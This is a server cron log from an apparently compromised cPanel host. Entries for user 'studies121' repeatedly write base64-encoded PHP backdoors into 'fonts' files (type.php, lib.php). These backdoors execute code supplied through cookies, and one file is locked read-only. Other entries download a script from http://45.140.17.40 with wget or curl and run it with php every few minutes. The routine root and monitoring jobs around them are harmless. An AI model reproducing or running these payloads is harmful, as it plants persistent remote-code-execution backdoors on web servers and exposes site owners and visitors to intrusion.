Sep  2 10:13:01 ip-184-168-122-23 CROND[28352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:13:01 ip-184-168-122-23 CROND[28354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:13:01 ip-184-168-122-23 CROND[28353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:13:01 ip-184-168-122-23 CROND[28358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:14:01 ip-184-168-122-23 CROND[28472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:14:01 ip-184-168-122-23 CROND[28477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:14:01 ip-184-168-122-23 CROND[28475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:14:01 ip-184-168-122-23 CROND[28474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:14:01 ip-184-168-122-23 CROND[28476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:15:01 ip-184-168-122-23 CROND[28577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:15:01 ip-184-168-122-23 CROND[28578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:15:01 ip-184-168-122-23 CROND[28583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:15:01 ip-184-168-122-23 CROND[28579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:15:01 ip-184-168-122-23 CROND[28582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:15:01 ip-184-168-122-23 CROND[28580]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 10:15:01 ip-184-168-122-23 CROND[28585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:16:01 ip-184-168-122-23 CROND[28801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:16:01 ip-184-168-122-23 CROND[28802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:16:01 ip-184-168-122-23 CROND[28804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:16:01 ip-184-168-122-23 CROND[28808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:16:01 ip-184-168-122-23 CROND[28809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:16:01 ip-184-168-122-23 CROND[28812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:17:01 ip-184-168-122-23 CROND[28937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:17:01 ip-184-168-122-23 CROND[28939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:17:01 ip-184-168-122-23 CROND[28940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:17:01 ip-184-168-122-23 CROND[28942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:18:01 ip-184-168-122-23 CROND[29125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:18:01 ip-184-168-122-23 CROND[29126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:18:01 ip-184-168-122-23 CROND[29128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:18:01 ip-184-168-122-23 CROND[29127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:18:01 ip-184-168-122-23 CROND[29129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:19:01 ip-184-168-122-23 CROND[29265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:19:01 ip-184-168-122-23 CROND[29266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:19:01 ip-184-168-122-23 CROND[29267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:19:01 ip-184-168-122-23 CROND[29269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:20:02 ip-184-168-122-23 CROND[29397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:20:02 ip-184-168-122-23 CROND[29401]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29405]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:20:02 ip-184-168-122-23 CROND[29409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:21:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:21:01 ip-184-168-122-23 CROND[29537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:21:01 ip-184-168-122-23 CROND[29539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:21:01 ip-184-168-122-23 CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:22:01 ip-184-168-122-23 CROND[29663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:22:01 ip-184-168-122-23 CROND[29666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:22:01 ip-184-168-122-23 CROND[29669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:22:01 ip-184-168-122-23 CROND[29670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:22:01 ip-184-168-122-23 CROND[29672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:23:01 ip-184-168-122-23 CROND[29846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:23:01 ip-184-168-122-23 CROND[29849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:23:01 ip-184-168-122-23 CROND[29850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:23:01 ip-184-168-122-23 CROND[29853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:24:01 ip-184-168-122-23 CROND[29953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:24:01 ip-184-168-122-23 CROND[29955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:24:01 ip-184-168-122-23 CROND[29957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:24:01 ip-184-168-122-23 CROND[29958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:24:01 ip-184-168-122-23 CROND[29956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:25:01 ip-184-168-122-23 CROND[30067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:25:01 ip-184-168-122-23 CROND[30070]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 10:25:01 ip-184-168-122-23 CROND[30069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
